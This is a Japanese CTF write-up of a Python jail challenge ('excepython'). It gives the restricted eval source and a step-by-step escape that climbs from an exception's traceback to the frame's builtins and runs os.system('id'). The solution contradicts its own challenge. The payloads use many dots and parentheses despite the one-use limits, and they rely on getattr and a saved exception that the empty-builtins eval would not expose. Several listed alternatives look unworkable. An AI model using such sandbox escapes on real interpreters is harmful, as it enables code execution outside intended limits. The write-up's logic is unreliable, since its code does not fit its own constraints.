pyjail wiki

SECCON CTF 2025 Quals - excepython

Challenge

特定の文字の使用回数が制限された pyjail。

import sys
code = input()
# 各文字の使用制限
# '.' は1回のみ
# '(' は1回のみ
# '+' は1回のみ
for char, limit in [('.', 1), ('(', 1), ('+', 1)]:
if code.count(char) > limit:
print(f"Too many '{char}'")
exit()
# 複数回の試行が可能、例外は持ち越される
try:
eval(code, {'__builtins__': {}})
except Exception as ex:
pass

Solution

例外の持ち越し

複数回の試行が可能で、例外オブジェクトは変数 ex に保持される。これを利用して段階的に攻撃:

ステップ1: 例外を発生させてフレームを取得

# 最初の入力
[][0] # IndexError が発生、ex に保存

ステップ2: traceback からフレームへ

# 2回目の入力
ex.__traceback__.tb_frame.f_builtins

ステップ3: コード実行

# 3回目の入力
ex.__traceback__.tb_frame.f_builtins["__import__"]("os").system("id")

文字制限への対応

. は1回しか使えないため、getattr を活用:

# ドットの代わりに getattr
getattr(ex, "__traceback__")

Technical Details

例外オブジェクトの寿命

try:
1/0
except Exception as e:
pass
# except ブロックを抜けると e は削除される
# ただしグローバル変数に代入すれば保持可能

KeyError による値の持ち越し

# KeyError のメッセージに任意の値を含められる
{}[some_value] # KeyError: some_value

文字制限のバイパス

制限文字代替手段
.getattr(obj, 'attr')
(事前準備 + 後の呼び出し
+str.join()

Alternative Solutions

別解1: walrus 演算子

[x := getattr, x(ex, "__traceback__")]

別解2: __class_getitem__

list[ex.__traceback__] # 一部のケースで使用可能

Flag

SECCON{...}

References